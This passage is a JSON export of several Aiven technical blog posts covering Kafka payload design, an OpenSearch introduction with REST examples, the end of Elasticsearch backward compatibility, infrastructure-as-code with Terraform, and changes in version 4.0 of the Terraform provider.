\"value\", \"type\": \"float\", \"doc\": \"Sensor reading\"},\n {\"name\": \"units\", \"type\": \"string\", \"doc\": \"Measurement units\"}\n ]\n}\n```\n\nThere are other alternatives, notably [Protocol Buffers, known as ProtoBuf](https://developers.google.com/protocol-buffers). It achieves similar goals by generating code to use in your own application, making it available on fewer tech stacks. If it's available for yours, it's worth a look.\n## A note on timestamps\nKafka will add a publish time in the header of a message. However it can also be useful to include your own timestamps for some situations, such as when the data is gathered at a different time to when it is published, or when a retry implementation is needed. Also since using Apache Kafka allows additional consumers to reprocess records later, a timestamp can give a handy insight into progress through an existing data set.\n\nIf I could make rules, I'd make rules about timestamp formats! The only acceptable formats are:\n\n* Seconds since the epoch `1615910306`\n* ISO 8601 format `2021-05-11T10:58:26Z` including timezone information, I should not have to know where on the planet on which day of the year this payload was created.\n## Design with intention\nWith the size limitations on the payloads supported by Apache Kafka, it's important to only include fields that can justify their own inclusion. When the consumers of the data are known, it's easier to plan for their context and likely use cases. When they're not, that's a more difficult assignment but the tips shared here will hopefully set you on a road to success.\n## Further reading\nIf you found this post useful, how about one of these resources to read next?\n\n* [Getting Started with Apache Kafka on Aiven](https://help.aiven.io/en/articles/489572-getting-started-with-aiven-for-apache-kafka)\n* [Apache Kafka and the schema registry](https://help.aiven.io/en/articles/2302613-using-schema-registry-with-aiven-kafka) (with Java code examples)\n* [Broker communication in Apache Kafka® 2.7 and beyond](https://aiven.io/blog/broker-communication-in-kafka-2-7-and-beyond/)\n* The [Apache Avro](http://avro.apache.org/) project\n* Another open standards project, [OpenTelemetry](https://opentelemetry.io/docs/) to find out more about adding tracing to your Kafka applications\n\n## Wrapping up\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-c5739fbd6133a70d4ae0312d6bad46fbafa24f91-1567x844-png","_type":"reference"}},"publishedAt":"2021-04-28T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Developers are adding Apache Kafka® to their tech stacks to get event-driven. Read Lorna Mitchell's tips for designing the payloads.","metaImage":{"alt":"","asset":{"_ref":"image-c5739fbd6133a70d4ae0312d6bad46fbafa24f91-1567x844-png","_type":"reference"}},"metaTitle":"Designing payloads | Actionable tips | Aiven"},"slug":{"_type":"slug","current":"/blog/tips-for-designing-payloads"},"subtitle":"Developers are adding Apache Kafka® to their tech stacks to get event-driven. Read Lorna Mitchell's tips for designing the payloads.","title":"Tips for designing payloads"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"6ZvCHgvqQ4LdO9pcFMB13H","_rev":"VeNKqGNmt13PzvGhqsSP3a","_type":"post","_updatedAt":"2024-01-29T15:41:38Z","authors":[{"_key":"5JCxTNOGlqEWGCJILDlrdc","_ref":"5JCxTNOGlqEWGCJILDlrdc","_type":"reference"}],"body":"Last year in September we introduced Aiven for [OpenSearch](https://aiven.io/opensearch \"Aiven for OpenSearch\"). In this post, we’re going to provide a high-level overview of OpenSearch components and use cases that would be fitting for this open source search and analytics engine. Let’s dive right into it!\n\n## What is OpenSearch?\n\nIn short, OpenSearch is an open source alternative to Elasticsearch. It is a search and analytics suite that includes a search engine daemon, OpenSearch, NoSQL database, and a visualization interface. It offers a distributed, full-text search engine based on [Apache Lucene](https://lucene.apache.org/ \"Apache Lucene\") with a RESTful API interface and support for JSON documents.\n\nLet’s look at some of OpenSearch's components and concepts in more detail. \n\n### Clusters and nodes \n\nOpenSearch is a __distributed__ search and analytics engine, which means that you interact with its highly scalable clusters. Each cluster consists of one or more nodes that store your data and process search requests. \n\nAs mentioned above, the clusters are scalable. You can run a single node cluster, like your laptop, or multiple powerful machines. As your cluster grows, you can divide responsibilities across those machines. You can also tailor different servers to different types of tasks. Those machines that have fast disks could index and search data, while a server with a smaller disk, but high CPU, can be responsible for cluster’s state management. \n\nIf you want more details, you can check out the [Cluster formation](https://opensearch.org/docs/latest/opensearch/cluster/ \"Cluster formation article\") article on the Open Search project site. \n\n### Indices\n\nMuch like databases and tables in relational databases, OpenSearch uses indices to organize data. The data is distributed within your cluster by mapping each index to a primary shard, which is copied to one or more replica shards. This protects your data from hardware failure and provides additional capacity for read requests.\n\n[The Indices article on the Aiven Developer Portal](https://aiven.io/docs/products/opensearch/concepts/indices.html \"The Indices article on Aiven's Developer Portal\") provides a deeper dive into the topic of indices and shards. \n\n### REST API\n\nFor communication, OpenSearch relies on the REST API. You can use any programming language or client like [cURL](https://curl.haxx.se/ \"cURL\") to send HTTPS requests. \n\nBelow is an example of adding a JSON document to an OpenSearch index by sending an HTTPS request, taken from the official [OpenSearch project site](https://opensearch.org/docs/latest/opensearch/index/ \"OpenSearch project site\").\n\n```\n PUT https://\u003chost\u003e:\u003cport\u003e/\u003cindex-name\u003e/_doc/\u003cdocument-id\u003e\n {\n \"title\": \"The Wind Rises\",\n \"release_date\": \"2013-07-20\"\n }\n```\n\n\nTo run a search for the document:\n\n\n```\n GET https://\u003chost\u003e:\u003cport\u003e/\u003cindex-name\u003e/_search?q=wind\n```\n\nTo delete the document:\n\n```\n DELETE https://\u003chost\u003e:\u003cport\u003e/\u003cindex-name\u003e/_doc/\u003cdocument-id\u003e\n```\n\n### Aggregations\n\nOne of the great things about OpenSearch is its powerful analytics engine. The engine can perform calculations, analyze your data, and extract statistics from it. This can come in handy when you try to analyze data in real-time and visualize it in OpenSearch Dashboards.\n\nIf you’re curious to learn more about OpenSearch aggregations, check out [our article about Aggregations on the Developer Portal](https://aiven.io/docs/products/opensearch/concepts/aggregations \"Aggregations from Aiven's Developer Portal\") or the even more detailed one from the [OpenSearch project site](https://opensearch.org/docs/latest/opensearch/aggregations/ \"Aggregations from the OpenSearch project site\"). \n\n## What are the primary use cases for OpenSearch?\n\nWith OpenSearch, you can easily ingest, search, aggregate, view, and analyze data. These capabilities are popular for use cases such as log analytics, real-time application monitoring, clickstream analytics, search backend, and more. \n\n## How to get started with OpenSearch? \nGreat news! You can get started with OpenSearch right in the [Aiven Console](https://console.aiven.io/login \"Aiven Console\") and here’s how: \n\n1. Choose the OpenSearch version, your cloud provider and location to deploy to, then choose which plan to use\n2. Give your service a name\n3. Click “Create Service”, and your shiny new OpenSearch database will start building.\n4. While it does that, you can already visit the service overview page to see the details of the service.\n\nTo test your service and play around with your own data, you can start by connecting with [cURL](https://aiven.io/docs/products/opensearch/howto/opensearch-with-curl.html \"cURL\"). If you’re hungry (pun intended) for test data, we’ve picked a [sample recipe dataset](https://aiven.io/docs/products/opensearch/howto/sample-dataset \"Sample recipe dataset\") that you can use to explore OpenSearch.\n\n## Wrapping up\nIf you’re looking for a powerful open source search and analytics engine, OpenSearch has pretty much everything you need to search and manage your data.\n\n- Find out how to get started with OpenSearch using [Python](https://aiven.io/blog/opensearch-dinner-party) and [NodeJS](https://aiven.io/blog/start-using-opensearch-with-nodejs) on the Aiven blog\n- Check out our documentation for [Aiven for OpenSearch](https://aiven.io/docs/products/opensearch/index) on the Developer Portal\n\nIf you’re an Aiven for Elasticsearch user and are interested in moving to OpenSearch, check out [Migrate Elasticsearch data to Aiven for OpenSearch](https://aiven.io/docs/products/opensearch/howto/migrating_elasticsearch_data_to_aiven) from our documentation for assistance. You can sign up for a free trial to start using [Aiven for OpenSearch](https://aiven.io/opensearch), and [follow us on Twitter](https://twitter.com/aiven_io) to stay up-to-date with product and feature-related news.","categories":[{"_key":"2vw3G7QzI7VENTWVzT0PMh","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"},{"_key":"4Vh5tOitJtIkyMjlv3zldF","_ref":"4Vh5tOitJtIkyMjlv3zldF","_type":"reference"},{"_key":"3RInNwDlIfGT91IDLKEgDC","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-53e6930fe86ea1e4cbeae9b43bf16f01846636c7-1567x844-png","_type":"reference"}},"publishedAt":"2022-01-27T00:00:00.000Z","related":[{"_key":"68e857390694","_ref":"f9628a31-e100-4e82-98d6-1df9eb0a5fb4","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"OpenSearch is a community-driven and truly open source search and analytics suite. Read on for a high-level look at its capabilities.","metaImage":{"alt":"","asset":{"_ref":"image-53e6930fe86ea1e4cbeae9b43bf16f01846636c7-1567x844-png","_type":"reference"}},"metaTitle":"Introduction to OpenSearch® | Get started now | Aiven"},"slug":{"_type":"slug","current":"/blog/introduction-to-opensearch"},"subtitle":"OpenSearch is a community-driven and truly open source search and analytics suite. Read on for a high-level look at its capabilities.","title":"Introduction to OpenSearch®"} {"__i18n_lang":"en","_createdAt":"2022-10-04T07:56:48Z","_id":"NeJsURzpz6ttqyVjzb1EK","_rev":"ZLvKaZvfbZlWBlGcpIoEDO","_type":"post","_updatedAt":"2024-01-29T15:41:43Z","authors":[{"_key":"LvoXSx2wcnnIY178tIEa3","_ref":"LvoXSx2wcnnIY178tIEa3","_type":"reference"}],"body":"## Technical details about completing Aiven's migration away from Elasticsearch\n\nIn September 2021, Aiven [introduced the Aiven for OpenSearch®](https://aiven.io/blog/announcing-aiven-for-opensearch) service as a successor to Aiven for Elasticsearch. In order to ease the migration, Aiven provides [an upgrade path from Aiven for Elasticsearch to Aiven for OpenSearch](https://aiven.io/blog/migrate-elasticsearch-client-to-opensearch) that maintains backward capability to Aiven for Elasticsearch API and metrics.\n\nOn 23 August 2022, in order to complete the migration, Aiven sunsets the backward compatible capability to all migrated Aiven for OpenSearch clusters. This article explains what changes are necessary after performing the update.\n\n### Aiven REST API\n\n#### Aiven for OpenSearch® ACL API\n\nAfter 23 August 2022, [Aiven for Elasticsearch API](https://api.aiven.io/doc/#tag/Service:_Elasticsearch) is no longer supported. We recommend that you switch to the [Aiven for OpenSearch® API](https://api.aiven.io/doc/#tag/Service:_OpenSearch) instead as soon as possible. This includes using GET, PUT and POST to:\n\n* `https://api.aiven.io/v1/project/{project}/service/{service_name}/opensearch/acl`\n\ninstead of:\n\n* `https://api.aiven.io/v1/project/{project}/service/{service_name}/elasticsearch/acl`\n\nYou can check the usage of the Aiven API for Aiven for OpenSearch [in the API reference](https://api.aiven.io/doc/#tag/Service:_OpenSearch).\n\n#### Aiven API to access service information\n\nSunsetting the backwards compatibility with Aiven for Elasticsearch changes how to access service information using the Aiven API. When you make a request to `https://api.aiven.io/v1/project/{project}/service/{service_name}`, you can see the following changes:\n\n* `elasticsearch` and `kibana` are no longer returned under the `components` field\n* `elasticsearch`, `elasticsearch_username`, `elasticsearch_password` and `kibana_uri` are no longer returned under `connection_info`\n* `elasticsearch_version` is no longer returned under `user_config`\n* `service_type` returns `opensearch` (instead of `elasticsearch`)\n\nAn example of a JSON response to a **backward compatible with Aiven for Elasticsearch** Aiven for OpenSearch® service:\n\n```json\n {\n \"service_type\": \"elasticsearch\",\n \"components\": [\n {\n \"component\": \"elasticsearch\",\n \"host\": \"ELASTICSEARCH_HOST\",\n \"port\": 12691,\n \"privatelink_connection_id\": null,\n \"route\": \"dynamic\",\n \"usage\": \"primary\"\n }\n {\n \"component\": \"kibana\",\n \"host\": \"ELASTICSEARCH_HOST\",\n \"port\": 443,\n \"privatelink_connection_id\": null,\n \"route\": \"dynamic\",\n \"usage\": \"primary\"\n },\n {\n \"component\": \"opensearch\",\n \"host\": \"OPENSEARCH_HOST\",\n \"port\": 12691,\n \"privatelink_connection_id\": null,\n \"route\": \"dynamic\",\n \"usage\": \"primary\"\n }\n {\n \"component\": \"opensearch_dashboards\",\n \"host\": \"OPENSEARCH_HOST\",\n \"port\": 443,\n \"privatelink_connection_id\": null,\n \"route\": \"dynamic\",\n \"usage\": \"primary\"\n }\n ]\n \"connection_info\":{\n \"elasticsearch\": [],\n \"kibana_uri\": \"ELASTICSEARCH_URI\",\n \"elasticsearch_password\":\"PASSWORD\",\n \"elasticsearch_username\":\"USERNAME\",\n \"opensearch\": [],\n \"opensearch_dashboards_uri\": \"OPENSEARCH_URI\",\n \"opensearch_password\":\"PASSWORD\",\n \"opensearch_username\":\"USERNAME\"\n },\n \"user_config\": {\n \"elasticsearch_version\": 1.3.3\n }\n }\n```\n\nAn example of a JSON response to an Aiven for OpenSearch® service after **backward compatibility with Elasticsearch has been turned off**:\n\n```json\n {\n \"service_type\": \"opensearch\",\n \"components\": [\n {\n \"component\": \"opensearch\",\n \"host\": \"OPENSEARCH_HOST\",\n \"port\": 12691,\n \"privatelink_connection_id\": null,\n \"route\": \"dynamic\",\n \"usage\": \"primary\"\n }\n {\n \"component\": \"opensearch_dashboards\",\n \"host\": \"OPENSEARCH_HOST\",\n \"port\": 443,\n \"privatelink_connection_id\": null,\n \"route\": \"dynamic\",\n \"usage\": \"primary\"\n }\n ]\n \"connection_info\":{\n \"opensearch\": [],\n \"opensearch_dashboards_uri\": \"OPENSEARCH_URI\",\n \"opensearch_password\":\"PASSWORD\",\n \"opensearch_username\":\"USERNAME\"\n },\n \"user_config\": {\n \"opensearch_version\": 1.3.3\n }\n }\n```\n\n### Aiven Console\n\nOnce the backward compatibility is turned off, you can see the differences on your OpenSearch® service page in Aiven Console: `Elasticsearch version` becomes `OpenSearch version`.\n\n* Service page for Backward compatible Aiven for OpenSearch®:\n\n ![A screenshot of the OpenSearch® Service page for Backward Compatible OpenSearch®](//cdn.sanity.io/images/sczeoy4w/production/38ba04ff5f2e446b523ea4366af83480e40fef83-1706x248.png)\n\n* Service page for Aiven for OpenSearch® after turning off backward compatibility:\n\n ![A screenshot of the OpenSearch® Service page for Pure OpenSearch®](//cdn.sanity.io/images/sczeoy4w/production/3c3636cc778320e06829783ee63da373d43f8394-1708x230.png)\n\n### Metrics integrations\n\nAiven provides metrics via the Telegraf plugin, so metrics that are available across Aiven for InfluxDB®, Aiven for M3 metrics integration, external Prometheus integration, and external AWS CloudWatch metrics integration remain the same. You can see the full list of\n[detail metrics](https://help.aiven.io/en/articles/5144867-aiven-service-metrics) and\n[additional metrics](https://help.aiven.io/en/articles/5144953-additional-service-metrics).\n\nOnce we turn off backward compatibility, Aiven for OpenSearch® will not produce any metrics prefixed with `elasticsearch_` to **any types of metric integrations** apart from an external Datadog integration. Therefore, the metrics from your Aiven for OpenSearch® cluster will only contain the `opensearch_` prefixes from the above lists.\n\n#### Datadog metrics integrations\n\nAiven does not have control over Datadog agents, therefore all metrics sent to external Datadog metrics integration will still still have `elasticsearch.` prefixes.\n\n#### Grafana®\n\nIf you have a default Aiven for Grafana® dashboard, Aiven automatically converts all queries using `elasticsearch_` prefixes to `opensearch_` prefixes.\n\nIf you have a non-default Aiven for Grafana® dashboard, Aiven provides a\n[tool to help convert your Grafana® dashboard](https://github.com/aiven/aiven-string-replacer-for-grafana) from using `elasticsearch_` to `opensearch_`. See the\n[instructions for replacing the expression string](https://aiven.io/docs/products/grafana/howto/replace-expression-string.html) for more information.\n\n### Further reading\n\nTo find out how to migrate external Elasticsearch data, follow [the instructions for migrating Elasticsearch data to Aiven for OpenSearch®](https://aiven.io/docs/products/opensearch/howto/migrating_elasticsearch_data_to_aiven.html).\n\n------------\n\nElasticsearch is a trademark of Elasticsearch BV, registered in the U.S. and in other countries.\n","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"9yQ4jxpUoNWbSOSWYlghM","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"},{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"4Vh5tOitJtIkyMjlv3zldF","_ref":"4Vh5tOitJtIkyMjlv3zldF","_type":"reference"},{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-44c6e6f72ae6940ed97438457f5dbc787af33907-1567x844-png","_type":"reference"}},"publishedAt":"2022-08-09T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"On 2022-08-23, Aiven will complete its migration away from Elasticsearch. Read on to find out how this affects the backwards compatibility we were providing.","metaImage":{"alt":"","asset":{"_ref":"image-44c6e6f72ae6940ed97438457f5dbc787af33907-1567x844-png","_type":"reference"}},"metaTitle":"Aiven completes move from Elasticsearch: technical details"},"slug":{"_type":"slug","current":"/blog/finish-move-away-from-elasticsearch"},"subtitle":"On 2022-08-23, Aiven will complete its migration away from Elasticsearch. Read on to find out how this affects the backwards compatibility we were providing.","title":"Aiven finishes the transition away from Elasticsearch: technical details"} {"__i18n_lang":"en","_createdAt":"2022-11-01T13:09:26Z","_id":"2067d9d5-96dc-4f71-81ff-9b7da70f5918","_rev":"m47zVAKzspt7UjVx7zHrc3","_type":"post","_updatedAt":"2024-08-05T12:15:20Z","authors":[{"_key":"be332301a856","_ref":"6lMlSgJEYuohRrYw7zGkl8","_type":"reference"}],"body":"Software is the core of every business, and reliable software requires a robust infrastructure. But what comes to mind when you hear the word **infrastructure**? If it's virtual machines, load balancers, and network switches, then you're forgetting a critical piece of the puzzle - the **data infrastructure**. This includes databases, streaming services, and other services that help with storing and moving data.\n\nIn this article, I'll highlight the benefits of automating your data infrastructure, warn you about the burden of automation, and guide you through the \"how\" of automating your data infrastructure.\n\nWhat we'll cover:\n\n- [Pieces of data infrastructure](#pieces-of-data-infrastructure)\n- [The burden of automation (done wrong)](#the-burden-of-automation-done-wrong)\n- [5 reasons to automate](#the-5-benefits-of-the-infrastructure-as-code-iac-approach)\n- [Tools for your data infrastructure automation](#tools-for-your-data-infrastructure-automation)\n\n## Pieces of data infrastructure\n\nBefore the cloud era, organizations had monolithic relational databases running on bare-metal servers or virtual machines. The database server and the machine on which it was hosted had names (treated as pets), and these formed the data infrastructure for the entire company. In the cloud era, multi-cloud is an opportunity: your current version of the truth might be stored in a relational database running on Amazon Web Service (AWS) while you keep the history of all changes in a long-term memory object storage on Google Cloud Platform (GCP).\n\nTo bridge the data gap across technologies you could use [Aiven for Apache Kafka®](https://aiven.io/kafka), capable of syncing data in streaming mode across clouds as well as multiple other services to manage data access, observability, and governance. All of these combine to form your precious data infrastructure.\n\nOh, and don't forget the Virtual Private Cloud (VPC), the subnets, and the network gateways that you set up within your data infrastructure! \n\n## The burden of automation (done wrong)\n\nYou might have started with a few services as a proof-of-concept, and in-house shell scripts seemed like the perfect tools for the job. As time passed, you needed more services and these shell scripts kept growing more complex. At one point, you might have added a manual process for deploying services that are behind a firewall. The database behind this firewall makes you create and manage static IP addresses since they don't accept hostnames. \n\nAnd by this point, you are in automation hell and these blessed shell scripts are just pieces of a broken semi-automated process.\n\nBut there is hope! And that hope is the Infrastructure as Code (IaC) approach.\n\n## The 5 benefits of the Infrastructure as Code (IaC) approach\n\nThe adoption of in-house shell scripts **seemed** like automation, once. This sort of automation, however, can be unpredictable. It can also lack accountability since you cannot tell who made a recent change.\n\nThe goal of IaC is to manage your infrastructure in a manner that is based on software development practices. This includes version control, testing, continuous integration, continuous deployment, and so on. Let's take a look at some of the benefits of using the IaC approach to manage and automate your data infrastructure.\n\n### 1: Reliability for data infrastructure\n\nIn the cloud era, the failure of an underlying hardware is not a matter of **if** but **when**. How can you ensure the reliability of the database services you're running while some hardware fails?\n\nThis is why the underlying hardware is abstracted as software resources. The automation tool creates, changes, or destroys any resource(s) that deviate from the expected state. The loose coupling of hardware and software ensures that you can build and rebuild systems dynamically and reliably.\n\n### 2: A predictable automation tool\n\nImagine you have a script that deploys a database service. What happens if you run that script 10 times? Does it create 10 services? To avoid this, you'd need to add logic to check if a service already exists before creation. With an IaC approach, this logic is already built into the tool you're using, ensuring that your **actual** system follows the **expected** state as defined in the code.\n\n### 3: Consistency across environments\n\nHow do you ensure that your staging and production environments are identical in terms of computing, network, and storage capacity? How does your distributed operations team ensure that they are configuring identical internal developer platforms for their developers? Automation tools can create repeatable, consistent software environments from version-controlled software blueprints - **infrastructure as code**. This is true of both application and data infrastructure. \n\n### 4: Security from automation\n\nInconsistency leads to misconfiguration, and misconfiguration leads to security issues. If you're storing long-lived database admin credentials on spreadsheets and sharing them with your colleagues, you're leaving yourself wide open to security attacks and system compromise.\n\nWhether you're invoking the command for your automation tool or running the tool in a continuous integration (CI) process, the access to build and configure servers should be dynamic and short-lived. Automation tools can control and audit access, as well as revoke certain access in the event of a breach. \n\n### 5: Cost and agility\n\nYour engineering team's time is finite and valuable. Rather than building and configuring systems, you'd probably prefer them to be adding value to your business - by building and fixing your applications. While integrating any automation tool might seem expensive at the start, it saves countless numbers of hours for your engineering team by automating the work of building and managing your IT infrastructure.\n\nWhen deploying dozens of cloud resources as part of your data infrastructure, you need to ensure that they are created in a specified order to handle dependency issues. You might need to stand up a source and a target Apache Kafka® cluster before setting up an [Apache Kafka® MirrorMaker 2](https://aiven.io/blog/5-reasons-why-you-should-be-using-mirrormaker-2) replication flow. The same goes for deleting resources.\n\nThe automation and IaC approach do the heavy lifting of figuring out the dependency checks in the background and allow you to quickly deploy multiple services across clouds and regions, saving your organization both time and money.\n\n::banner[How have successful companies from a range of industries used a managed data platform as part of their transformation strategy? Check out how they solved their business and technical challenges from our ebook.]{ctaText=\"Grab it here\" ctaLink=\"https://aiven.io/ebook/how-a-cloud-data-platform-can-drive-transformation-in-your-business?utm_source=ebook\u0026utm_medium=internal\u0026utm_campaign=transformation_ebook\u0026utm_content=5-reasons-to-automate-your-data-infrastructure\" title=\"Transformation is coming\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/0ecde466b48dd7c5f1eec6c81202076315eb0250-2250x2250.png\" theme=\"dark\"}\n\n## Tools for your data infrastructure automation\n\n[Terraform](https://terraform.io/) is an open-source IaC tool that helps you automate the provisioning of application and data infrastructure in a multi-cloud deployment model. While there are many choices when it comes to automation tools, Terraform has been battle-tested in production by a number of customers. Terraform uses [providers](https://www.terraform.io/language/providers) to work with virtually any platform or service with an accessible API.\n\nCheck out the following **recipes** about automating your data infrastructure with [Aiven Provider for Terraform](https://registry.terraform.io/providers/aiven/aiven/latest/docs):\n\n- [Deploy PostgreSQL® services to multiple clouds and regions](https://aiven.io/docs/tools/terraform/reference/cookbook/multicloud-postgresql-recipe.html)\n- [Cross-cluster replication with Apache Kafka® MirrorMaker 2](https://aiven.io/developer/kafka-mirrormaker-crosscluster)\n- [Apache Kafka® as source and sink for Apache Flink® job](https://aiven.io/docs/tools/terraform/reference/cookbook/kafka-flink-integration-recipe.html)\n\n::banner[Each “recipe” includes an architecture diagram and the Terraform sample code you need to build the setup yourself.]{ctaText=\"Explore some more recipes\" ctaLink=\"https://aiven.io/docs/tools/terraform/reference/cookbook.html\" title=\"Aiven Terraform Cookbook\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/525dd6662e1da8aeeccdb5644dc13b50ba82f402-48x48.svg\" theme=\"dark\"}\n\n## Wrapping up\n\nNow that you understand the benefits of automation and have been introduced to the IaC approach to automating your data infrastructure, what's your next step? Start small and do a proof-of-concept for your organization. If you need a testing ground that manages your data infrastructure based on open-source technologies, [give Aiven a try](https://aiven.io/how-to-get-started-with-aiven).\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n## Further reading\n\n- [How to automagically open pull requests with GitHub Actions](https://aiven.io/blog/how-to-automagically-open-pull-requests-with-github-actions)\n\n- [Static IP addresses for your data infrastructure](https://aiven.io/blog/static-ip-for-your-service/)\n","categories":[{"_key":"64eec599d144","_ref":"2qto4I26D9dTmL2jF7YDqZ","_type":"reference"},{"_key":"a058e367b7a2","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"4288871d0a48","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"A robot arm collects abstract data to represent automation","asset":{"_ref":"image-7566d6ab518e00240be0f418d5711588b2ff4761-3133x1688-png","_type":"reference"}},"publishedAt":"2022-11-03T14:23:45.708Z","related":[{"_key":"23004ba4f32a","_ref":"2MaVUBNixFPYxU03wR2sqc","_type":"reference"},{"_key":"8d8032322200","_ref":"5gTp13pYjOThOf6JmmuhGu","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Data infrastructure automation is key. Learn 5 benefits of automating your data infrastructure, how you might be doing it wrong and how you can do it right.","metaTitle":"5 reasons to automate your data infrastructure | Steps \u0026 Tools"},"slug":{"_type":"slug","current":"/blog/5-reasons-to-automate-your-data-infrastructure"},"subtitle":"Are you focusing solely on application infrastructure? Learn 5 reasons why data infrastructure automation is key, and how to do it right.","title":"5 reasons to automate your data infrastructure "} {"__i18n_lang":"en","_createdAt":"2023-04-03T14:43:47Z","_id":"7485f982-2d13-42a8-a7fe-2e2c0d8f0b4b","_rev":"lhvtNBOlLYH5KiQFQ8YM3F","_type":"post","_updatedAt":"2024-01-29T15:38:08Z","authors":[{"_key":"6fdde475811a","_ref":"6lMlSgJEYuohRrYw7zGkl8","_type":"reference"},{"_key":"1afc92086237","_ref":"15aa712f-f1e5-4746-8ac5-dc53dd70a4c4","_type":"reference"},{"_key":"41cf4e030819","_ref":"7bb7e704-8d5a-492b-a575-77c091540b5d","_type":"reference"}],"body":"Terraform is a powerful infrastructure as code (IaC) tool that allows developers and operators to manage infrastructure as if it were software. The importance of Terraform lies in its ability to help organizations automate and manage their infrastructure at scale, reducing the risk of human error, and ensuring consistency across environments. Recently, Aiven released version 4.0.0 of the [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs) and there are some important changes that make it easier than ever to manage your data infrastructure using Terraform. In this blog post, we'll take a closer look at what's new in Aiven Terraform Provider version 4.X.\n\n## The path from Terraform SDKv2 to Terraform Plugin Framework\n\nTerraform has released the new [Terraform Plugin Framework](https://developer.hashicorp.com/terraform/plugin/framework) as a replacement for the older [Terraform Plugin SDKv2](https://developer.hashicorp.com/terraform/plugin/sdkv2). \n\nWith Aiven Terraform Provider 4.X we have started migrating from the SDKv2 to the new framework. To facilitate the change, we’re using Terraform’s portability wrapper around Terraform Plugin SDKv2 to add support for the Terraform Plugin Framework.\n\n## Using strict types instead of strings\n\nThe biggest change in this release is that we have started to make schema fields use **strict types** instead of **strings**. In all previous versions of Aiven Terraform Provider, no matter what the actual type of the fields, we provided string interfaces to them. \n\nFor instance, `public_access.prometheus` was `1` (string) before and now it’s `true` (boolean). For up to date information on resource (or data source) types, please check the [Aiven Terraform Provider docs](https://registry.terraform.io/providers/aiven/aiven/latest/docs).\n\n## Auto-upgrading of existing Terraform state\n\nWe’ve added functionality (the Aiven `stateupgrader` package) to this release which assists with upgrading resources from v3.x to v4.0.0. Starting from Aiven Terraform Provider v3.5.0, we’re generating user config types with fields, documentations, and so on, for new values. These user configs come with auto-completion support in your favorite code editor.\n\nHowever, what happens to the existing values in your state files that were generated using previous versions of the provider? We couldn’t introduce this change to version 3.X as it would be a breaking change. \n\nAll of these values were strings, whereas from version 4.0.0 Aiven Terraform Provider expects all field values to have their actual API type. The `stateupgrader` package seamlessly upgrades the state of your Terraform program to convert string types into these types.\n\n## `ip_filter`, `namespaces` (for M3DB) and other deprecations\n\nTerraform has a gradual process of deprecating any resource. In order to deprecate a resource, we need to mark it as **deprecated** on the next major release and then we can drop it completely on the major release after. For example, the `aiven_database` resource was marked as **deprecated** in version 3.X and is now dropped in version 4.X. \n\nAs part of using schema fields to use strict types, we marked `ip_filter` and `namespaces` (for M3DB) as **deprecated** in v4.X, and created aliases for them – `ip_filter_string` and `namespaces_string` respectively. In v5.X we will completely remove the `ip_filter` and `namespaces` fields, so we advise to move to the new ones now.\n\nThis change is made because those fields have been accepting multiple types in our API for a long while, and yet we still had no support for it on our side due to the way Terraform enforces strict types. Now, you can use `ip_filter_object` and `namespaces_object` instead, which allow for more granular customization of your resources. While the old fields are marked as deprecated, they still exist, and will only be replaced completely in version 5.X of Aiven Terraform Provider. Users will get a warning about resources that are marked as deprecated when trying to use them.\n\nThe following data sources and resources were marked as deprecated in version 3.X and are now removed:\n\n* `aiven_database`, `aiven_service_user`, `aiven_vpc_peering_connection`\n* `aiven_flink_table` and `aiven_flink_job`\n\n\n## What does this mean for our customers?\n\nAiven Terraform Provider is now compatible with [Protocol Version 6](https://developer.hashicorp.com/terraform/plugin/terraform-plugin-protocol#protocol-version-6) which is the latest protocol version. While the change will be transparent to you as a user, this allows us to provide long-term stability and will allow a faster bug fix cycle. \n\n| Aiven Terraform Provider version | Terraform Protocol Version compatibility | Terraform SDKv2 or Terraform Plugin Framework | Type errors detected by |\n| ---- | ---- | ---- | ---- |\n| 3.X | 4 | Terraform SDKv2 | Aiven backend |\n| 4.X | 6 | Terraform SDKv2 and a wrapper to act like Plugin Framework | Aiven backend |\n| 5.X | 6 | Terraform Plugin Framework | Terraform client |\n\nLet’s look at the following example. With Aiven Terraform Provider 3.X, you could assign `\"foo\"` (string) to an integer USER CONFIG option field. The resulting error from the Aiven Terraform Provider backend after you applied that manifest would require the 